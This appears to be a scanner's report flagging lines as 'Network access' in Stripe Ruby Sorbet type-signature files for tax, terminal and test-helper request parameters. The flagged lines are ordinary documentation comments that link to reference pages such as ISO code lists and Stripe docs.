# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago), `02154` (Arlington Heights), `06613` (Bloomington), `10906` (Campton Hills), `2 - Network accessline 1847
end class LocalLeaseTax < ::Stripe::RequestParams # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago). - Network accessline 1848
class LocalLeaseTax < ::Stripe::RequestParams # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago). sig { ret - Network accessline 1849
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago). - Network accessline 1857
class StateSalesTax < ::Stripe::RequestParams class Election < ::Stripe::RequestParams # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported F - Network accessline 1858
class Election < ::Stripe::RequestParams # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `003` (Allegheny County) and `60000` (Phila - Network accessline 1859
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `003` (Allegheny County) and `60000` (Philadelphia City). - Network accessline 1902
} def local_lease_tax=(_local_lease_tax); end # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1903
def local_lease_tax=(_local_lease_tax); end # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(String) } - Network accessline 1904
# Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2851
sig { params(_active_from: T.any(String, Integer)).returns(T.any(String, Integer)) } def active_from=(_active_from); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2852
def active_from=(_active_from); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 2853
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/settings_update_params.rbi
- Network accessline 7
class SettingsUpdateParams < ::Stripe::RequestParams class Defaults < ::Stripe::RequestParams # Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be u - Network accessline 8
class Defaults < ::Stripe::RequestParams # Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be used when the item's price has unspecified tax behavior. One - Network accessline 9
# Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be used when the item's price has unspecified tax behavior. One of inclusive, exclusive, or inferred_by_currency - Network accessline 12
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 13
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 14
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 27
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 28
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 29
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 47
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without count - Network accessline 48
def postal_code=(_postal_code); end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". sig { returns(T.nilable(String)) } - Network accessline 49
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/transaction_create_from_calculation_params.rbi
- Network accessline 16
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 17
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax/transaction_create_reversal_params.rbi
- Network accessline 7
class TransactionCreateReversalParams < ::Stripe::RequestParams class LineItem < ::Stripe::RequestParams # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 8
class LineItem < ::Stripe::RequestParams # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. sig { returns(Integer) } - Network accessline 9
# The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 12
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 13
def amount=(_amount); end # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. sig { returns(Integer) } - Network accessline 14
# The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 17
sig { params(_amount_tax: Integer).returns(Integer) } def amount_tax=(_amount_tax); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additi - Network accessline 18
def amount_tax=(_amount_tax); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 19
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 29
sig { params(_original_line_item: String).returns(String) } def original_line_item=(_original_line_item); end # The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the am - Network accessline 30
def original_line_item=(_original_line_item); end # The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the amount of tax reversed. sig { returns(T.nilable(Integer)) } - Network accessline 31
# The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the amount of tax reversed. - Network accessline 52
end class ShippingCost < ::Stripe::RequestParams # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 53
class ShippingCost < ::Stripe::RequestParams # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. sig { returns(Integer) } - Network accessline 54
# The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 57
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 58
def amount=(_amount); end # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. sig { returns(Integer) } - Network accessline 59
# The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 70
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.co - Network accessline 71
def expand=(_expand); end # A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. This value represents the total amount to refund from th - Network accessline 72
# A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. This value represents the total amount to refund from the transaction, including taxes. - Network accessline 82
} def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 83
def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 84
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 99
sig { params(_original_transaction: String).returns(String) } def original_transaction=(_original_transaction); end # A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transac - Network accessline 100
def original_transaction=(_original_transaction); end # A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transactions. The reference helps identify this reversal transaction in exp - Network accessline 101
# A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transactions. The reference helps identify this reversal transaction in exported [tax reports](https://docs.stripe.com/tax/reports).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax_rate_create_params.rbi
- Network accessline 10
sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def active=(_active); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 11
def active=(_active); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 12
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 40
sig { params(_jurisdiction: T.nilable(String)).returns(T.nilable(String)) } def jurisdiction=(_jurisdiction); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful - Network accessline 41
def jurisdiction=(_jurisdiction); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 42
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 52
sig { params(_percentage: Float).returns(Float) } def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 53
def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 54
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/tax_rate_update_params.rbi
- Network accessline 10
sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def active=(_active); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 11
def active=(_active); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 12
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 35
sig { params(_jurisdiction: T.nilable(String)).returns(T.nilable(String)) } def jurisdiction=(_jurisdiction); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful - Network accessline 36
def jurisdiction=(_jurisdiction); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 37
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 42
} def metadata=(_metadata); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 43
def metadata=(_metadata); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 44
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/connection_token_create_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The id of the location that this connection token is scoped to. If specified the connection token will only be - Network accessline 12
def expand=(_expand); end # The id of the location that this connection token is scoped to. If specified the connection token will only be usable with readers assigned to that location, otherwise the connection token will be usable wi - Network accessline 13
# The id of the location that this connection token is scoped to. If specified the connection token will only be usable with readers assigned to that location, otherwise the connection token will be usable with all readers. Note that locati
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/location_create_params.rbi
- Network accessline 12
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 13
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 14
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 32
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 33
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 34
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 55
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 56
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 57
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 104
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 105
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 106
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 193
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 194
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 195
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/location_update_params.rbi
- Network accessline 12
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 13
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 14
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 32
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 33
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 34
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 55
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 56
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 57
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 104
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 105
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 106
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 193
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 194
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 195
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_collect_inputs_params.rbi
- Network accessline 140
} def inputs=(_inputs); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 141
def inputs=(_inputs); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 142
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_create_params.rbi
- Network accessline 21
sig { params(_location: T.nilable(String)).returns(T.nilable(String)) } def location=(_location); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for stor - Network accessline 22
def location=(_location); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 23
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_refund_payment_params.rbi
- Network accessline 32
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 33
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 34
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_set_reader_display_params.rbi
- Network accessline 8
class Cart < ::Stripe::RequestParams class LineItem < ::Stripe::RequestParams # The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 9
class LineItem < ::Stripe::RequestParams # The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 10
# The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 26
def initialize(amount: nil, description: nil, quantity: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs - Network accessline 27
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 28
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 38
} def line_items=(_line_items); end # The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 39
def line_items=(_line_items); end # The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(Integer)) } - Network accessline 40
# The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 43
sig { params(_tax: T.nilable(Integer)).returns(T.nilable(Integer)) } def tax=(_tax); end # Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 44
def tax=(_tax); end # Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 45
# Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_update_params.rbi
- Network accessline 16
sig { params(_label: T.nilable(String)).returns(T.nilable(String)) } def label=(_label); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addit - Network accessline 17
def label=(_label); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/confirmation_token_create_params.rbi
- Network accessline 70
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 71
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 72
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 90
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 91
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 92
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 320
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that hel - Network accessline 321
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments - Network accessline 322
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 649
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 650
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 651
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 773
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 774
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { - Network accessline 775
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 1013
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1014
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1015
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1033
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1034
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 1035
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1103
# Indicates that you intend to make future payments with this ConfirmationToken's payment method. # # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Pa - Network accessline 1104
# # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from t - Network accessline 1105
# The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/customer_fund_cash_balance_params.rbi
- Network accessline 6
module TestHelpers class CustomerFundCashBalanceParams < ::Stripe::RequestParams # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https:// - Network accessline 7
class CustomerFundCashBalanceParams < ::Stripe::RequestParams # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currenc - Network accessline 8
# Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100 - Network accessline 11
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 12
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 13
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 21
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # A description of the test funding. This simulates free-text references supplied by customers when making bank - Network accessline 22
def expand=(_expand); end # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm - Network accessline 23
# A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_capture_params.rbi
- Network accessline 240
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 241
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(St - Network accessline 242
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 378
